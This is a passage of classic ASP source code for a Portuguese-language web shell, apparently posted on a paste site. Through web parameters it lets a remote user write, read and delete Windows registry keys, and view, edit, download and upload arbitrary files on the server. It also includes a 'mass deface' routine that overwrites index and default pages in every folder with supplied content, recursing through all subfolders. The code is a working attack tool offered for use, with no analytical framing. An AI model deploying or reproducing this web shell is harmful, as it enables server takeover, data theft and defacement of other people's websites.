  445.         Set WshShell = Nothing
  446.         Set WshEnv = Nothing
  447.     Case "reg"
  448.         checa = checking(cprthtml,keydec)
  449.         Call hdr()
  450.         Response.Write copyright & onlinehelp
  451.         Set WshShell = Server.CreateObject("WScript.Shell")
  452.         Response.Write "<font face=""arial"" size=""2""><b>Editor de Registro:</b><br><br>"
  453.         Select Case Trim(Request.QueryString("regaction"))
  454.             Case "w"
  455.                 If Trim(Request.QueryString("process")) = "yes" Then
  456.                     Select Case Trim(Request.QueryString("type"))
  457.                         Case "1"
  458.                             teste = WshShell.RegWrite (Trim(Request.QueryString("key")), Trim(Request.QueryString("value")), "REG_SZ")
  459.                         Case "2"
  460.                             teste = WshShell.RegWrite (Trim(Request.QueryString("key")), CInt(Trim(Request.QueryString("value"))), "REG_DWORD")
  461.                         Case "3"
  462.                             teste = WshShell.RegWrite (Trim(Request.QueryString("key")), CInt(Trim(Request.QueryString("value"))), "REG_BINARY")
  463.                         Case "4"
  464.                             teste = WshShell.RegWrite (Trim(Request.QueryString("key")), Trim(Request.QueryString("value")), "REG_EXPAND_SZ")
  465.                         Case "5"
  466.                             teste = WshShell.RegWrite (Trim(Request.QueryString("key")), Trim(Request.QueryString("value")), "REG_MULTI_SZ")
  467.                     End Select
  468.                     Response.Write "<center><br><font face=""arial"" size=""2"">Registro <b>"
  469.                     Response.Write Trim(Request.QueryString("key")) & "</b> Escrito</center>"
  470.                     Response.Write "<br><br><font face=""arial"" size=""1""><a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=reg"">MENU PRINCIPAL</a><br>"
  471.                 Else
  472.                     Response.Write "<table><tr><td><font face=""arial"" size=""2"">ROOT KEY NAME</td><td><font face=""arial"" size=""2"">ABREVIA��O</td></tr>"
  473.                     Response.Write "<tr><td><font face=""arial"" size=""1"">HKEY_CURRENT_USER </td><td><font face=""arial"" size=""1""> HKCU </td></tr>"
  474.                     Response.Write "<tr><td><font face=""arial"" size=""1"">HKEY_LOCAL_MACHINE </td><td><font face=""arial"" size=""1""> HKLM </td></tr>"
  475.                     Response.Write "<tr><td><font face=""arial"" size=""1"">HKEY_CLASSES_ROOT </td><td><font face=""arial"" size=""1""> HKCR </td></tr>"
  476.                     Response.Write "<tr><td><font face=""arial"" size=""1"">HKEY_USERS </td><td><font face=""arial"" size=""1""> HKEY_USERS </td></tr>"
  477.                     Response.Write "<tr><td><font face=""arial"" size=""1"">HKEY_CURRENT_CONFIG </td><td><font face=""arial"" size=""1""> HKEY_CURRENT_CONFIG </td></tr></table><br>"
  478.                     Response.Write "<table><tr><td><font face=""arial"" size=""2"">Tipo </td><td><font face=""arial"" size=""2""> Descri��o </td><td><font face=""arial"" size=""2""> Na forma de </td></tr>"
  479.                     Response.Write "<tr><td><font face=""arial"" size=""1"">REG_SZ </td><td><font face=""arial"" size=""1""> string </td><td><font face=""arial"" size=""1""> string </td></tr>"
  480.                     Response.Write "<tr><td><font face=""arial"" size=""1"">REG_DWORD </td><td><font face=""arial"" size=""1""> n�mero </td><td><font face=""arial"" size=""1""> inteiro </td></tr>"
  481.                     Response.Write "<tr><td><font face=""arial"" size=""1"">REG_BINARY </td><td><font face=""arial"" size=""1""> valor bin�rio </td><td><font face=""arial"" size=""1""> VBArray de inteiros </td></tr>"
  482.                     Response.Write "<tr><td><font face=""arial"" size=""1"">REG_EXPAND_SZ </td><td><font face=""arial"" size=""1""> string expand�vel (ex. ""%windir%\\calc.exe"") </td><td><font face=""arial"" size=""1""> string </td></tr>"
  483.                     Response.Write "<tr><td><font face=""arial"" size=""1"">REG_MULTI_SZ </td><td><font face=""arial"" size=""1""> array de strings </td><td><font face=""arial"" size=""1""> VBArray de strings </td></tr></table>"
  484.                     Response.Write "<br><br><FORM action=""" & Request.ServerVariables("URL") & """ method=""GET"">"
  485.                     Response.Write "<table><tr><td><font face=""arial"" size=""1"">KEY: </td><td><input type=""text"" name=""key""> <font face=""arial"" size=""1""><br>( ex.: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ProductId )</td></tr>"
  486.                     Response.Write "<tr><td><font face=""arial"" size=""1"">VALUE:</td><td><input type=""text"" name=""value""></td></tr>"
  487.                     Response.Write "<tr><td><font face=""arial"" size=""1"">TYPE:</td><td><SELECT NAME=""type"">"
  488.                     Response.Write "<OPTION VALUE=""1"">REG_SZ </option>"
  489.                     Response.Write "<OPTION VALUE=""2"">REG_DWORD </option>"
  490.                     Response.Write "<OPTION VALUE=""3"">REG_BINARY </option>"
  491.                     Response.Write "<OPTION VALUE=""4"">REG_EXPAND_SZ </option>"
  492.                     Response.Write "<OPTION VALUE=""5"">REG_MULTI_SZ </option></select><br>"
  493.                     Response.Write "<input type=""hidden"" name=""regaction"" value=""w"">"
  494.                     Response.Write "<input type=""hidden"" name=""action"" value=""reg"">"
  495.                     Response.Write "<input type=""hidden"" name=""process"" value=""yes""></td></tr>"
  496.                     Response.Write "<tr><td></td><td><input type=""submit"" value=""OK""></form></td></tr></table>"
  497.                     Response.Write "<br><br><font face=""arial"" size=""1""><a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=reg"">MENU PRINCIPAL</a><br>"
  498.                 End If
  499.             Case "r"
  500.                 If Trim(Request.QueryString("process")) = "yes" Then
  501.                     Response.Write "<font face=""arial"" size=""2"">" & Trim(Request.QueryString("key")) & "<br>"
  502.                     Response.Write "Valor: <b>" & WshShell.RegRead (Trim(Request.QueryString("key")))
  503.                 Else
  504.                     Response.Write "<FORM action=""" & Request.ServerVariables("URL") & """ method=""GET"">"
  505.                     Response.Write "<font face=""arial"" size=""1"">KEY: <input type=""text"" name=""key""> <br>( ex.: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ProductId )<br>"
  506.                     Response.Write "<input type=""hidden"" name=""regaction"" value=""r"">"
  507.                     Response.Write "<input type=""hidden"" name=""action"" value=""reg"">"
  508.                     Response.Write "<input type=""hidden"" name=""process"" value=""yes"">"
  509.                     Response.Write "<input type=""submit"" value=""OK""></form>"
  510.                 End If
  511.                 Response.Write "<br><br><font face=""arial"" size=""1""><a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=reg"">MENU PRINCIPAL</a><br>"
  512.             Case "d"
  513.                 If Trim(Request.QueryString("process")) = "yes" Then
  514.                     teste = WshShell.RegDelete (Trim(Request.QueryString("key")))
  515.                     Response.Write "Chave <b>" & Trim(Request.QueryString("key")) & " </b>deletada"
  516.                 Else
  517.                     Response.Write "<FORM action=""" & Request.ServerVariables("URL") & """ method=""GET"">"
  518.                     Response.Write "<font face=""arial"" size=""1"">KEY: <input type=""text"" name=""key""> ( ex.: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ProductId )<br>"
  519.                     Response.Write "<input type=""hidden"" name=""regaction"" value=""d"">"
  520.                     Response.Write "<input type=""hidden"" name=""action"" value=""reg"">"
  521.                     Response.Write "<input type=""hidden"" name=""process"" value=""yes"">"
  522.                     Response.Write "<input type=""submit"" value=""OK""></form>"
  523.                 End If
  524.                 Response.Write "<br><br><font face=""arial"" size=""1""><a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=reg"">MENU PRINCIPAL</a><br>"
  525.             Case Else
  526.                 Response.Write "<font face=""arial"" size=""1""><a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=reg&regaction=w"">ESCREVER CHAVE</a><br><br>"
  527.                 Response.Write "<a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=reg&regaction=r"">LER CHAVE</a><br><br>"
  528.                 Response.Write "<a href=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=reg&regaction=d"">DELETAR CHAVE</a><br>"
  529.         End Select
  530.         Set WshShell = Nothing
  531.     Case "txtview"
  532.         checa = checking(cprthtml,keydec)
  533.         Call hdr()
  534.         Response.Write copyright & onlinehelp & "<font face=""arial"" size=""2"">"
  535.         file = Replace(Trim(Request.QueryString("file")),"|","\")
  536.         Set fso = CreateObject("Scripting.FileSystemObject")  
  537.         Set a = fso.OpenTextFile(file)
  538.         Response.Write Replace(Replace(Server.HTMLEncode(a.ReadAll),VbCrLf,"<br>")," ","&nbsp;")
  539.         Set a = Nothing
  540.         Set fso = Nothing
  541.     Case "txtedit"
  542.         checa = checking(cprthtml,keydec)
  543.         Call hdr()
  544.         Response.Write copyright & onlinehelp
  545.         If Request.Form.Count = 0 Then
  546.             file = Replace(Trim(Request.QueryString("file")),"|","\")
  547.             Set fso = CreateObject("Scripting.FileSystemObject")
  548.             Set a = fso.OpenTextFile(file)
  549.             Response.Write "<form method=""post"" action=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=txtedit"">"
  550.             Response.Write "<textarea cols='85' rows='25' name=""content"" wrap=""physical"" >" & Server.HTMLEncode(a.ReadAll) & "</textarea><br>"
  551.             Response.Write "<input type=""hidden"" name=""path"" value=""" & Trim(Request.QueryString("file")) & """>"
  552.             Response.Write "<input type=""submit"" name=""savemethod"" value=""Save"">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=""submit"" name=""savemethod"" value=""Save as""></form>"
  553.             Set a = Nothing
  554.             Set fso = Nothing
  555.         Else
  556.             Select Case Trim(Request.Form("savemethod"))
  557.                 Case "Save"
  558.                     Set fso = CreateObject("Scripting.FileSystemObject")
  559.                     novotexto = Trim(Request.Form("content"))
  560.                     novotexto = Split(novotexto,vbCrLf)
  561.                     Set objstream = fso.OpenTextFile(Replace(Trim(Request.Form("path")),"|","\"),2)
  562.                     For i = 0 To UBound(novotexto)
  563.                         objstream.WriteLine(novotexto(i))
  564.                     Next
  565.                     objstream.Close
  566.                     Set objstream = Nothing
  567.                     Response.Write "Texto salvo: <b>" & Replace(Trim(Request.Form("path")),"|","\") & "</b>"
  568.                 Case "Save as"
  569.                     Set fso = CreateObject("Scripting.FileSystemObject")
  570.                     novotexto = Trim(Request.Form("content"))
  571.                     novotexto = Split(novotexto,vbCrLf)
  572.                     caminho = showobjpath(Replace(Trim(Request.Form("path")),"|","\")) & "rhtemptxt.txt"
  573.                     Set objstream = fso.CreateTextFile(caminho,true,false)
  574.                     For i = 0 To UBound(novotexto)
  575.                         objstream.WriteLine(novotexto(i))
  576.                     Next
  577.                     objstream.Close
  578.                     Set objstream = Nothing
  579.                     Response.Write "<form method=""post"" action=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=txtedit"">"
  580.                     Response.Write "<input type=""text"" name=""filename"" value=""" & showobj(Replace(Trim(Request.Form("path")),"|","\")) & """><br>"
  581.                     Response.Write "<input type=""hidden"" name=""path"" value=""" & Trim(Request.Form("path")) & """>"
  582.                     Response.Write "<input type=""submit"" name=""savemethod2"" value=""Save""></form>"
  583.                 Case Else
  584.                     caminho = showobjpath(Replace(Trim(Request.Form("path")),"|","\")) & "rhtemptxt.txt"
  585.                     Set ObjFSO = CreateObject("Scripting.FileSystemObject")
  586.                     Set MyFile = ObjFSO.GetFile(caminho)
  587.                     destino = Left(caminho,InStrRev(caminho,"\")) & Trim(Request.Form("filename"))
  588.                     MyFile.Move (destino)
  589.                     If Err.Number = 0 Then
  590.                         Response.Write "<font face='arial' size='2'><center><br><br>Arquivo: <b>" & destino & "</b> salvo!"
  591.                         Response.Write "<SCRIPT LANGUAGE=""JavaScript"">self.opener.document.location.reload();</SCRIPT>"
  592.                     End If 
  593.             End Select
  594.         End If
  595.     Case "download"
  596.         Response.Buffer = True
  597.         Response.Clear
  598.         strFileName = Replace(Trim(Request.QueryString("file")),"|","\")
  599.         strFile = Right(strFileName, Len(strFileName) - InStrRev(strFileName,"\"))
  600.         strFileType = Request.QueryString("type")
  601.         if strFileType = "" then strFileType = "application/download"
  602.         Set fso = Server.CreateObject("Scripting.FileSystemObject")
  603.         Set f = fso.GetFile(strFilename)
  604.         intFilelength = f.size
  605.         Set f = Nothing
  606.         Set fso = Nothing
  607.         Response.AddHeader "Content-Disposition", "attachment; filename=" & strFile
  608.         Response.AddHeader "Content-Length", intFilelength
  609.         Response.Charset = "UTF-8"
  610.         Response.ContentType = strFileType
  611.         Set Stream = Server.CreateObject("ADODB.Stream")
  612.         Stream.Open
  613.         Stream.type = 1
  614.         Stream.LoadFromFile strFileName
  615.         Response.BinaryWrite Stream.Read
  616.         Response.Flush
  617.         Stream.Close
  618.         Set Stream = Nothing
  619.     Case "upload"
  620.         If Request.QueryString("processupload") <> "yes" Then
  621.             Response.Write "<FORM METHOD=""POST"" ENCTYPE=""multipart/form-data"" ACTION=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=upload&processupload=yes&path=" & Request.QueryString("path") & """>"
  622.             Response.Write "<TABLE BORDER=0>"
  623.             Response.Write "<tr><td><font face=""arial"" size=""2""><b>Select a file to upload:</b><br><INPUT TYPE=FILE SIZE=50 NAME=""FILE1""></td></tr>"
  624.             Response.Write "<tr><td align=""center""><font face=""arial"" size=""2""><INPUT TYPE=SUBMIT VALUE=""Upload!""></td></tr>"
  625.             Response.Write "</TABLE>"
  626.         Else
  627.             Set Uploader = New FileUploader
  628.             Uploader.Upload()
  629.             If Uploader.Files.Count = 0 Then
  630.                 Response.Write "File(s) not uploaded."
  631.             Else
  632.                 For Each File In Uploader.Files.Items
  633.                     File.SaveToDisk Replace(Trim(Request.QueryString("path")),"|","\")
  634.                     Response.Write "File Uploaded: " & File.FileName & "<br>"
  635.                     Response.Write "Size: " & File.FileSize & " bytes<br>"
  636.                     Response.Write "Type: " & File.ContentType & "<br><br>"
  637.                     Response.Write "<SCRIPT LANGUAGE=""JavaScript"">self.opener.document.location.reload();</SCRIPT>"
  638.                 Next
  639.             End If
  640.         End If
  641.     Case "mass"
  642.         checa = checking(cprthtml,keydec)
  643.         Call hdr()
  644.         Response.Write copyright & onlinehelp
  645.         Sub themassdeface(caminhodomass,metodo,ObjFSO,MeuArquivo)
  646.             On Error Resume Next
  647.             Set MonRep = ObjFSO.GetFolder(caminhodomass)
  648.             Set ColFolders = MonRep.SubFolders
  649.             for each folderItem in ColFolders
  650.                 destino1 = folderItem.path & "\index.htm"
  651.                 destino2 = folderItem.path & "\index.html"
  652.                 destino3 = folderItem.path & "\index.asp"
  653.                 destino4 = folderItem.path & "\index.cfm"
  654.                 destino5 = folderItem.path & "\index.php"
  655.                 destino6 = folderItem.path & "\default.htm"
  656.                 destino7 = folderItem.path & "\default.html"
  657.                 destino8 = folderItem.path & "\default.asp"
  658.                 destino9 = folderItem.path & "\default.cfm"
  659.                 destino10 = folderItem.path & "\default.php"
  660.                 MeuArquivo.Copy(destino1)
  661.                 MeuArquivo.Copy(destino2)
  662.                 MeuArquivo.Copy(destino3)
  663.                 MeuArquivo.Copy(destino4)
  664.                 MeuArquivo.Copy(destino5)
  665.                 MeuArquivo.Copy(destino6)
  666.                 MeuArquivo.Copy(destino7)
  667.                 MeuArquivo.Copy(destino8)
  668.                 MeuArquivo.Copy(destino9)
  669.                 MeuArquivo.Copy(destino10)
  670.                 Response.Write "<table><tr><td><font face='arial' size='2'>&lt;DIR&gt; " & folderItem.path & "</td>"
  671.                 If Err.Number = 0 Then
  672.                     Response.Write "<td valign='baseline'>&nbsp;&nbsp;<font face='arial' size='2' color='green'>DONE!</font></td></tr>"
  673.                 Else
  674.                     Response.Write "<td valign='baseline'>&nbsp;&nbsp;<font face='arial' size='2' color='red'>" & UCase(Err.Description) & "</font></td></tr></table>"
  675.                 End If
  676.                 Err.Number = 0
  677.                 Response.Flush
  678.                 If metodo = "brute" Then
  679.                     Call themassdeface(folderItem.path & "\","brute",ObjFSO,MeuArquivo)
  680.                 End If
  681.             next
  682.         End Sub
  683.         Sub brutemass(caminho,massaction)
  684.             If massaction = "test" Then
  685.                 On Error Resume Next
  686.                 Set MonRep = ObjFSO.GetFolder(caminho)
  687.                 Set ColFolders = MonRep.SubFolders
  688.                 Set ColFiles0 = MonRep.Files
  689.                 for each folderItem in ColFolders
  690.                     Set TotalFolders = ObjFSO.GetFolder(folderItem.path)
  691.                     Set EachFolder = TotalFolders.SubFolders
  692.                     Response.Write "<table border=""0"" cellspacing=""0"" cellpadding=""0"" >"
  693.                     maindestino = folderItem.path & "\"
  694.                     MeuArquivo.Copy(maindestino)
  695.                     Response.Write "<tr><td><b><font face='arial' size='2'>&lt;DIR&gt; " & maindestino & "</b></td>"
  696.                     If Err.Number = 0 Then
  697.                         Response.Write "<td valign='baseline'>&nbsp;&nbsp;<font face='arial' size='2' color='green'>Acesso Permitido</font></td></tr>"
  698.                     Else
  699.                         Response.Write "<td valign='baseline'>&nbsp;&nbsp;<font face='arial' size='2' color='red'>" & UCase(Err.Description) & "</font></td></tr>"
  700.                     End If
  701.                     Err.Number = 0
  702.                     Response.Flush
  703.                     If EachFolder.count > 0 Then
  704.                         masscontador = 0
  705.                         for each subpasta in EachFolder
  706.                             masscontador = masscontador + 1
  707.                             destino = subpasta.path & "\"
  708.                             If masscontador = 1 Then
  709.                                 destinofinal = destino
  710.                                 pathfinal = subpasta.path
  711.                                 Err.Number = 0
  712.                                 MeuArquivo.Copy(destinofinal)
  713.                                 Response.Write "<tr><td><font face='arial' size='2'>&lt;DIR&gt; " & showobj(pathfinal) & "</td>"
  714.                                 If Err.Number = 0 Then
  715.                                     Response.Write "<td valign='baseline'>&nbsp;&nbsp;<font face='arial' size='2' color='green'>Acesso Permitido</font></td></tr>"
  716.                                 Else
  717.                                     Response.Write "<td valign='baseline'>&nbsp;&nbsp;<font face='arial' size='2' color='red'>" & UCase(Err.Description) & "</font></td></tr>"
  718.                                 End If
  719.                                 Err.Number = 0
  720.                                 Response.Flush
  721.                             Else
  722.                                 MeuArquivo.Copy(destino)
  723.                                 Response.Write "<tr><td><font face='arial' size='2'>&lt;DIR&gt; " & showobj(subpasta.path) & "</td>"
  724.                                 If Err.Number = 0 Then
  725.                                     Response.Write "<td valign='baseline'>&nbsp;&nbsp;<font face='arial' size='2' color='green'>Acesso Permitido</font></td></tr>"
  726.                                 Else
  727.                                     Response.Write "<td valign='baseline'>&nbsp;&nbsp;<font face='arial' size='2' color='red'>" & UCase(Err.Description) & "</font></td></tr>"
  728.                                 End If
  729.                                 Err.Number = 0
  730.                                 Response.Flush
  731.                             End If
  732.                         next
  733.                         masscontador = 0
  734.                     End If
  735.                     Response.Write "</table><br>"
  736.                     Call brutemass(folderItem.path & "\","test")
  737.                 next
  738.                 Set MonRep = Nothing
  739.                 Set ColFolders = Nothing
  740.                 Set ColFiles0 = Nothing
  741.             Else
  742.                 If Request.Form.Count = 0 Then
  743.                     Response.Write "<font face=""arial"" size=""2""><br><br><b>Brute:</b> copia os arquivos do deface para todas as pastas e subpastas (todos os n�veis) do diret�rio escolhido (mais demorado). O tempo do deface vai variar de acordo com o numero TOTAL de diret�rios.<br><br>"
  744.                     Response.Write "<b>Single:</b> copia os arquivos do deface apenas para as pastas (primeiro n�vel) do diret�rio escolhido. N�o inclui subpastas.<br><br>"
  745.                     Response.Write "<form method=""post"" action=""" & Request.ServerVariables("SCRIPT_NAME") & "?action=mass&massact=dfc"">"
  746.                     Response.Write "<input type=""hidden"" name=""path"" value=""" & Trim(Request.QueryString("path")) & """>"
  747.                     Response.Write "<center><font face=""arial"" size=""2"">Insira o c�digo:<br>"
  748.                     Response.Write "<textarea cols='65' rows='15' name=""content""></textarea><br>"
  749.                     Response.Write "<input type=""radio"" name=""massopt"" value=""brute"" checked>Brute&nbsp;&nbsp;&nbsp;"
  750.                     Response.Write "<input type=""radio"" name=""massopt"" value=""single"">Single<br>"
  751.                     Response.Write "<input type=""submit"" value=""w00t!""></center>"
  752.                     Response.Write "</form>"
  753.                 Else
  754.                     Set ObjFSO = CreateObject("Scripting.FileSystemObject")
  755.                     patharquivotxt = Left(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),InstrRev(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),"\"))
  756.                     arquivomassdfc = patharquivotxt & "teste.txt"
  757.                     Set Arquivotxt = ObjFso.OpenTextFile(arquivomassdfc, 2, True, False)
  758.                     vetordelinhas = Split(Request.Form("content"),VbCrLf)
  759.                     For i = 0 To UBound(vetordelinhas)
  760.                         Arquivotxt.WriteLine(vetordelinhas(i))
  761.                     Next
  762.                     Set MeuArquivo = ObjFSO.GetFile(arquivomassdfc)
  763.                    
  764.                     If Request.Form("massopt") = "single" Then
  765.                         Call themassdeface(caminho,"single",ObjFSO,MeuArquivo)
  766.                     ElseIf Request.Form("massopt") = "brute" Then
  767.                         Call themassdeface(caminho,"brute",ObjFSO,MeuArquivo)
  768.                     End If
  769.                 End If
  770.             End If
  771.         End Sub
  772.         If Trim(Request.QueryString("massact")) = "test" Then
  773.             Set ObjFSO = CreateObject("Scripting.FileSystemObject")
  774.             patharquivotxt = Left(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),InstrRev(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),"\"))
  775.             arquivo = patharquivotxt & "_vti_cnf.log"
  776.             Set Arquivotxt = ObjFSO.CreateTextFile(arquivo,True)
  777.             Set MeuArquivo = ObjFSO.GetFile(arquivo)
  778.             Call brutemass(Replace(Trim(Request.QueryString("path")),"|","\"),"test")
  779.         ElseIf Trim(Request.QueryString("massact")) = "dfc" Then
  780.             Call brutemass(Replace(Trim(Request.Form("path")),"|","\"),"dfc")
  781.         End If
  782.     Case Else
  783.         checa = checking(cprthtml,keydec)
  784.         Call hdr()
  785.         Response.Write copyright & onlinehelp
  786.         Call showcontent()
  787. End Select
  788. If Err.Number <> 0 Then
  789.     Response.Write "<br><font face='arial' size='2'>ERRO: " & Err.Number & "<br><br><b>" & UCase(Err.Description) & "</b><br>Acesse o <b>ONLINE HELP</b> para a explica��o do erro"
  790. End If
  791. Response.Write endcode
  792. %>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement